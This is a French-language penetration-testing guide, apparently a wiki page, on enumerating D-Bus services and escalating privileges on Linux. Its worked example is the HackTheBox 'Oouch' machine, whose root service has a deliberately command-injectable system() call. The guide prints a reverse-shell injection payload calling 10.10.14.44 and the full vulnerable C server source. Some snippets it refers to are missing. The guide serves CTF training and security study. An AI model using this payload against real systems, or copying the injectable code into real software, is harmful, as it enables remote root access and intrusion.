D-Bus est utilisé comme médiateur de communications inter-processus (IPC) dans les environnements de bureau Ubuntu. Sur Ubuntu, on observe le fonctionnement simultané de plusieurs bus de messages : le bus système, principalement utilisé par les services privilégiés pour exposer des services pertinents dans tout le système, et un bus de session pour chaque utilisateur connecté, exposant des services pertinents uniquement pour cet utilisateur spécifique. L'accent est principalement mis sur le bus système en raison de son association avec les services s'exécutant avec des privilèges plus élevés (par exemple, root), notre objectif étant d'élever les privilèges. Il est à noter que l'architecture de D-Bus utilise un 'routeur' par bus de session, qui est responsable de rediriger les messages des clients vers les services appropriés en fonction de l'adresse spécifiée par les clients pour le service avec lequel ils souhaitent communiquer.
Les services sur D-Bus sont définis par les objets et les interfaces qu'ils exposent. Les objets peuvent être comparés à des instances de classe dans les langages de programmation orientée objet standard, chaque instance étant identifiée de manière unique par un chemin d'objet. Ce chemin, similaire à un chemin de système de fichiers, identifie de manière unique chaque objet exposé par le service. Une interface clé à des fins de recherche est l'interface org.freedesktop.DBus.Introspectable, comportant une méthode unique, Introspect. Cette méthode renvoie une représentation XML des méthodes prises en charge par l'objet, des signaux et des propriétés, l'accent étant mis ici sur les méthodes en omettant les propriétés et les signaux.
Pour la communication avec l'interface D-Bus, deux outils ont été utilisés : un outil en ligne de commande nommé gdbus pour l'invocation facile des méthodes exposées par D-Bus dans des scripts, et D-Feet, un outil GUI basé sur Python conçu pour énumérer les services disponibles sur chaque bus et afficher les objets contenus dans chaque service.
Dans la première image, les services enregistrés avec le bus système D-Bus sont affichés, avec org.debin.apt spécifiquement mis en évidence après avoir sélectionné le bouton Bus Système. D-Feet interroge ce service pour les objets, affichant les interfaces, les méthodes, les propriétés et les signaux des objets choisis, comme on le voit dans la deuxième image. La signature de chaque méthode est également détaillée.
Une caractéristique notable est l'affichage de l'identifiant de processus (pid) et de la ligne de commande du service, utile pour confirmer si le service s'exécute avec des privilèges élevés, important pour la pertinence de la recherche.
D-Feet permet également l'invocation de méthodes : les utilisateurs peuvent saisir des expressions Python en tant que paramètres, que D-Feet convertit en types D-Bus avant de les transmettre au service.
Cependant, notez que certaines méthodes nécessitent une authentification avant de nous permettre de les invoquer. Nous ignorerons ces méthodes, car notre objectif est d'élever nos privilèges sans identifiants en premier lieu.
Notez également que certains des services interrogent un autre service D-Bus nommé org.freedeskto.PolicyKit1 pour savoir si un utilisateur devrait être autorisé à effectuer certaines actions ou non.
Énumération de la ligne de commande
Liste des objets de service
Il est possible de lister les interfaces D-Bus ouvertes avec :
De Wikipedia: Lorsqu'un processus établit une connexion à un bus, le bus attribue à la connexion un nom de bus spécial appelé nom de connexion unique. Les noms de bus de ce type sont immuables - il est garanti qu'ils ne changeront pas tant que la connexion existe - et, plus important encore, ils ne peuvent pas être réutilisés pendant la durée de vie du bus. Cela signifie qu'aucune autre connexion à ce bus n'aura jamais attribué un tel nom de connexion unique, même si le même processus ferme la connexion au bus et en crée une nouvelle. Les noms de connexion uniques sont facilement reconnaissables car ils commencent par le caractère deux-points - sinon interdit.
Informations sur l'objet de service
Ensuite, vous pouvez obtenir des informations sur l'interface avec :
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Liste des interfaces d'un objet de service
Vous devez disposer des autorisations suffisantes.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Examiner l'interface d'un objet de service
Notez comment dans cet exemple, l'interface la plus récente découverte a été sélectionnée en utilisant le paramètre tree (voir la section précédente):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Notez la méthode .Block de l'interface htb.oouch.Block (celle qui nous intéresse). Le "s" des autres colonnes peut signifier qu'elle attend une chaîne de caractères.
Interface de surveillance/capture
Avec suffisamment de privilèges (les privilèges send_destination et receive_sender ne sont pas suffisants), vous pouvez surveiller une communication D-Bus.
Si vous savez comment configurer un fichier de configuration D-Bus pour autoriser les utilisateurs non root à intercepter la communication, veuillez me contacter !
Différentes façons de surveiller :
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
Dans l'exemple suivant, l'interface htb.oouch.Block est surveillée et le message "lalalalal" est envoyé par erreur:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Vous pouvez utiliser capture à la place de monitor pour enregistrer les résultats dans un fichier pcap.
Filtrer tout le bruit
S'il y a trop d'informations sur le bus, passez une règle de correspondance comme ceci :
En tant qu'utilisateur qtc à l'intérieur de l'hôte "oouch" de HTB, vous pouvez trouver un fichier de configuration D-Bus inattendu situé dans /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Notez dans la configuration précédente que vous devrez être l'utilisateur root ou www-data pour envoyer et recevoir des informations via cette communication D-BUS.
En tant qu'utilisateur qtc à l'intérieur du conteneur Docker aeb4525789d8, vous pouvez trouver du code lié à dbus dans le fichier /code/oouch/routes.py. Voici le code intéressant :
Comme vous pouvez le voir, il se connecte à une interface D-Bus et envoie à la fonction "Block" l'adresse "client_ip".
De l'autre côté de la connexion D-Bus, un binaire compilé en C s'exécute. Ce code écoute la connexion D-Bus pour l'adresse IP et appelle iptables via la fonction system pour bloquer l'adresse IP fournie.
L'appel à system est délibérément vulnérable à l'injection de commandes, donc une charge utile comme celle-ci créera un shell inversé : ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Exploitez-le
À la fin de cette page, vous pouvez trouver le code C complet de l'application D-Bus. À l'intérieur, entre les lignes 91-97, vous pouvez voir comment le chemin de l'objet D-Bus et le nom de l'interface sont enregistrés. Ces informations seront nécessaires pour envoyer des informations à la connexion D-Bus :
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Aussi, à la ligne 57, vous pouvez trouver que la seule méthode enregistrée pour cette communication D-Bus est appelée Block (C'est pourquoi dans la section suivante, les charges utiles vont être envoyées à l'objet de service htb.oouch.Block, à l'interface /htb/oouch/Block et au nom de méthode Block):
Le code Python suivant enverra la charge utile à la connexion D-Bus à la méthode Block via block_iface.Block(runme) (notez qu'il a été extrait du morceau de code précédent):
dbus-send est un outil utilisé pour envoyer des messages au "Message Bus".
Message Bus - Un logiciel utilisé par les systèmes pour faciliter les communications entre les applications. Il est lié à la file d'attente de messages (les messages sont ordonnés en séquence), mais dans Message Bus, les messages sont envoyés selon un modèle d'abonnement et sont également très rapides.
Le tag "-system" est utilisé pour indiquer qu'il s'agit d'un message système, et non d'un message de session (par défaut).
Le tag "--print-reply" est utilisé pour imprimer notre message de manière appropriée et recevoir toutes les réponses dans un format lisible par l'homme.
"--dest=Dbus-Interface-Block" L'adresse de l'interface Dbus.
"--string:" - Type de message que nous voulons envoyer à l'interface. Il existe plusieurs formats d'envoi de messages tels que double, bytes, booleans, int, objpath. Parmi ceux-ci, le "chemin d'objet" est utile lorsque nous voulons envoyer un chemin d'accès à un fichier à l'interface Dbus. Nous pouvons utiliser un fichier spécial (FIFO) dans ce cas pour transmettre une commande à l'interface au nom d'un fichier. "string:;" - Cela sert à appeler à nouveau le chemin d'objet où nous plaçons le fichier de shell inversé FIFO/commande.
Notez que dans htb.oouch.Block.Block, la première partie (htb.oouch.Block) fait référence à l'objet de service et la dernière partie (.Block) fait référence au nom de la méthode.
Code C
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}
